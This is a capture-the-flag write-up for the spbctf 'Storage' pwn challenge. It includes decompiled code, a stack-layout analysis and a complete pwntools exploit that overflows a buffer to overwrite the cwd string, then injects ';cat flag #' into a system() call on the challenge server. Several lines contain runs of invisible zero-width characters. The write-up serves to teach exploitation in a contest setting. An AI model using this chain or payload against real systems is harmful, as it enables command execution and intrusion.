← Back to Writeups
CUSTOMMediumpwn

Storage

XESXOR9/2/20264 min read
#pwn#custom#medium#append_mode_payload_building#command_injection_via_system#cwd_overwrite#stack_buffer_overflow

Storage

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-17 | Status: Solved Techniques: append_mode_payload_building, command_injection_via_system, cwd_overwrite, stack_buffer_overflow

Summary

Task: Binary pwn challenge with key-value storage service. Solution: Exploited buffer overflow in fgets() to overwrite getcwd() result on stack, then triggered command injection via system() call in list command using append mode to build payload across multiple writes.

Storage - spbctf

Description

Ыж закодил защищённое хранилище, цепляйтесь неткатом: nc 109.233.56.90 11051. Настоящий хардкорный бинарный пывн! Берите бинарь, получите выполнение команд на 109.233.56.90:11051, и прочитайте файл с флагом.

Files: task.elf (ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped)

Binary Properties:

  • Arch: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: Canary found
  • NX: NX enabled
  • PIE: PIE enabled
  • Not stripped
  • Imports: fopen, __stack_chk_fail, stdin, strtok, fgets, fputs, fclose, strcat, system, getcwd, sleep, strcmp ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reverse Engineering

The binary is a key-value storage with 3 commands: load, store, list.

Decompiled pseudocode of main:

c
int main() {
    char cwd[0x40];        // rbp-0x90
    char command[0x10];    // rbp-0xc0
    char key[0x0e];        // rbp-0xce
    FILE *fp, *fp2;
    char filename[0x48];   // rbp-0x50
    char value_buf[...];   // rbp-0xb0 (only ~32 bytes to cwd!)
    
    getcwd(cwd, 0x40);
    puts("Hello my deAr friend! This is key-value storage\nCommands: load, store, list");
    
    while (1) {
        fgets(command, 0x10, stdin);
        strtok(command, "\n");
        
        if (strcmp(command, "load") == 0) {
            puts("Enter key: ");
            fgets(key, 0x0e, stdin);
            strtok(key, "\n");
            strtok(key, ".");  // sanitization: removes dots
            // Build path: cwd + "/data/" + key
            filename[0] = '\0';
            strcat(filename, cwd);
            strcat(filename, "/data/");
            strcat(filename, key);
            fp = fopen(filename, "r");
            if (fp == NULL) { puts("No such key :("); continue; }
            fgets(value_buf, 0x400, fp);  // BUG: reads 1024 bytes into ~32-byte buffer!
            fclose(fp);
            puts(value_buf);
        }
        else if (strcmp(command, "store") == 0) {
            puts("Enter key: ");
            fgets(key, 0x0e, stdin);
            strtok(key, "\n");
            strtok(key, ".");
            // Build path same way
            fp2 = fopen(filename, "a+");  // APPEND mode
            puts("Enter value: ");
            fgets(value_buf, 0x20, stdin);  // max 32 bytes
            strtok(value_buf, "\n");
            fputs(value_buf, fp2);
            fclose(fp2);
            puts("Stored!");
        }
        else if (strcmp(command, "list") == 0) {
            // Build: "ls " + cwd + "/data/"
            filename[0] = '\0';
            strcat(filename, "ls ");
            strcat(filename, cwd);
            strcat(filename, "/data/");
            system(filename);  // COMMAND EXECUTION with cwd!
        }
        else break;
        sleep(1);
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Buffer Overflow in load -> cwd overwrite -> Command Injection via list

Stack layout analysis:

  • value_buf is at address rbp-0xb0
  • cwd is at address rbp-0x90
  • Distance: 0xb0 - 0x90 = 0x20 = 32 bytes

The load command reads up to 0x400 (1024) bytes from a file into value_buf, but cwd starts only 32 bytes after value_buf. This allows overwriting cwd with attacker-controlled data.

The list command uses cwd in system("ls " + cwd + "/data/"). If we overwrite cwd with ;cat flag #, the command becomes system("ls ;cat flag #/data/") - cat flag will execute, and the rest will be commented out. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: store uses append mode ("a+"), so we can call it multiple times to build a payload exceeding the 31-byte limit per single call.

Solution

python
#!/usr/bin/env python3
from pwn import *

HOST = '109.233.56.90'
PORT = 11051

io = remote(HOST, PORT)
io.recvuntil(b'list')

key = b'y'

# Step 1: Store 30 bytes of padding (first chunk)
io.sendline(b'store')
io.recvuntil(b'key:')
io.sendline(key)
io.recvuntil(b'value:')
io.sendline(b'A' * 30)
io.recvuntil(b'Stored!')

# Step 2: Store 2 more bytes of padding + command injection (second chunk, appended)
io.sendline(b'store')
io.recvuntil(b'key:')
io.sendline(key)
io.recvuntil(b'value:')
io.sendline(b'AA;cat flag #')
io.recvuntil(b'Stored!')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Load the file - triggers BOF, overwrites cwd with ";cat flag #"
io.sendline(b'load')
io.recvuntil(b'key:')
io.sendline(key)

sleep(2)

# Step 4: List - executes system("ls ;cat flag #/data/")
io.sendline(b'list')

sleep(2)
io.interactive()

Output

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;cat flag #
data  flag  task.elf
Yeeeaaah! Submit this: REDACTED

Key Techniques

  1. Buffer overflow in fgets(value_buf, 0x400, fp) - reads 1024 bytes into a buffer adjacent to cwd (only 32 bytes between them)
  2. Append mode abuse - store uses fopen("a+"), allowing multiple writes to build a payload exceeding the single write limit
  3. Command injection via overwritten cwd, used in system("ls " + cwd + "/data/") - inject ;cat flag # to execute arbitrary commands
  4. Stack canary bypass - no need to overwrite the return address; the exploit only overwrites a local variable (cwd) that is used in system() ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag name itself is a hint: "BOF as a way of thinking" (REDACTED). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍